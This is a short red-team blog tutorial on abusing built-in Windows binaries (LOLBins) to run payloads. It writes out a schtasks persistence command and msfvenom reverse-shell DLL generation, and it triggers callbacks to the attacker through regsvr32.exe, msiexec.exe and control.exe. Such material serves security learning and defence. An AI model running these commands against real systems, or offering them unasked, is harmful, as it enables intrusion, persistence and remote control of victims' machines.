< BACK TO ARTICLES
Article/ fun-with-living-off-the-land-binaries

FUN with Living Off The Land Binaries

When attackers don’t drop malware — they live off what’s already there. A practical guide to LOLBins and real attack techniques.

Red Teaming 🔴🎯January 23, 20264 min readNORDLYS
LOLBins Living Off The Land

First of all what is LOLBINS ?

LOLBins are legitimate, built-in system tools mostly on Windows but also Linux macOS that attackers abuse for malicious purposes instead of dropping custom malware

Genuine site is here

text
https://lolbas-project.github.io/#
image

Attackers use LOLBins to download malware because these tools are already part of Microsoft Windows systems, and their legitimate nature often allows malicious activity to occur without immediately generating security alerts.

image

Lets use some of the LOLBins to execute payloads and establish reverse connections.

image

lets have a look on this binary which is at.exe and its says the command is Depricated

image

it says insted of at.exe use schtask.exe

image

i use this command

text
schtasks /create /sc minute /mo 1 /tn "CalcTask" /tr "C:\Windows\System32\calc.exe" /f
image

This command runs Calculator every minute. With schtasks.exe, someone can run a payload silently on a the target every minute, day, week, or month.

You can also use another lolbins to execute payload or other binaries like regsvr32.exe

image

Now generate a payload using msfvenom and transfer it on the target machine

image
text
msfvenom -p windows/shell_reverse_tcp lhost=eth0 lport=443 -f dll -o rev.dll
image
text
regsvr32.exe /s /i rev.dll
image

And we Trigger the reverse shell using regsvr32.exe

image

Another gtfobins is msiexec.exe

image

we can execute the payload silentely on the target system using msiexec

image

If you type msiexec you will see something like this

image

Now for trigger reverse shell just type

text
msiexec /q /i rev.msi
image

Another intresting lolbins is control.exe

image

Basically controll.exe open control pannel but you call also execute the dll using control.exe

image

Generate a payload using msfvenom

text
msfvenom -p windows/shell_reverse_tcp lhost=eth0 lport=443 -f dll -o rev.dll
imageimage
text
control.exe .\virus.dll
image

so these were some of the lolbins which use to execute payload you can explore more on their

welsite and use it for educational purpose

Thanks

Share Article

Last updated: February 14, 2026
More Articles